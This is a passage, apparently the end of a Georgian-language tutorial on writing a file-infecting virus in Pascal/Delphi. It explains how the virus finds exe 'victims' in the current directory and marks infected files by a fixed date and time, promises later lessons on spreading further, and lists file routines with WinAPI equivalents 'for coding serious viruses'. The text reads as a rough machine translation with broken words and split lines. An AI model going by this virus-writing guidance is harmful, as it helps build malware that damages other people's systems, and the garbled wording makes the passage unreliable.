Რა არის თქვენი გამჭრიახი თვალიხედავს აქ? ასეა, FindFirst პროცედურა ეძებს მოცემულ მსხვერპლს (ნებისმიერი exe ფაილი მიმდინარე დირექტორიაში), გადასცემს მის მახასიათებლებს SR ცვლადზე. შემდეგ თქვენ უნდა შეამოწმოთ იგი დაბინძურებისთვის. ეს კეთდება ორიგინალური გზით: როდესაც ინფიცირებულია, ფაილს ენიჭება def. თარიღი და დრო. და ასეთი მახასიათებლების მქონე ნებისმიერი ფაილი ითვლება ინფიცირებულად. ყველაფერი დანარჩენი ისევ უცენზურო მარტივია, ამიტომ შეუფერხებლად გადავდივარ დასკვნამდე :)

დასკვნა

ასე რომ, ჩვენ დავშიფრეთ ჩვენი პირველი ვირუსი. ამ დროისთვის, მას შეუძლია მხოლოდ ფაილების დაინფიცირება მიმდინარე დირექტორიაში (თუმცა დარწმუნებული ვარ, რომ თქვენ შეგიძლიათ მარტივად განაახლოთ იგი ;)) და არაფერი იცის სხვა დირექტორიების და ინტერნეტის შესახებ. არ დაიდარდოთ, ჩვენ ამას სწრაფად ვასწავლით. ამ დროისთვის, ითამაშე ამ ხაზებით და დაელოდე შემდეგ სტატიას.

განაცხადი

მე გავბედავ მოგაწოდოთ სტატიაში გამოყენებული ყველა პროცედურის აღწერა. ეს დაგეხმარებათ მოძებნოთ ისინი დახმარებაში და მოემზადოთ სერიოზული ვირუსების გამოყენებით კოდირებისთვის
WinAPI.

AssignFile - WinAPI-ში ექვივალენტი არ არის - ემთხვევა ფაილს
თან ცვლადი ტიპიფაილი ან ტექსტური ფაილი

Reset - იხსნება _open-ის და CreateFile-ის ანალოგები
არსებული ფაილიდა ადგენს პოზიციას
კითხულობს დასაწყისში

ReWrite - _lcreate და CreateFile - ქმნის ახალი ფაილიდა
პირი კითხვის პოზიცია დასაწყისში. თუ იკვებება
ხელახლა ჩაწერეთ არსებული ფაილი, მისი შინაარსი
აღდგება ნულამდე

BlockRead - _lread და ReadFile - იკითხება ბუფერში
გარკვეული რაოდენობის მონაცემები ფაილიდან

BlockWrite - _lwrite და WriteFile - შესაბამისად, წერს
მონაცემები ფაილში

SeekFile - _llseek და SetFilePointer - გადაადგილებს პოზიციას
წაკითხვა/ჩაწერა ღია ფაილში

CloseFile - _lclose და CloseHandle - ხურავს ღიას
ფაილი

წაშლა - DeleteFile - ფაილის წაშლა

FindFirst - FindFirstFile - ფაილის ძიება კრიტერიუმებით

FindNext - FindNextFile - მოძებნეთ შემდეგი ფაილი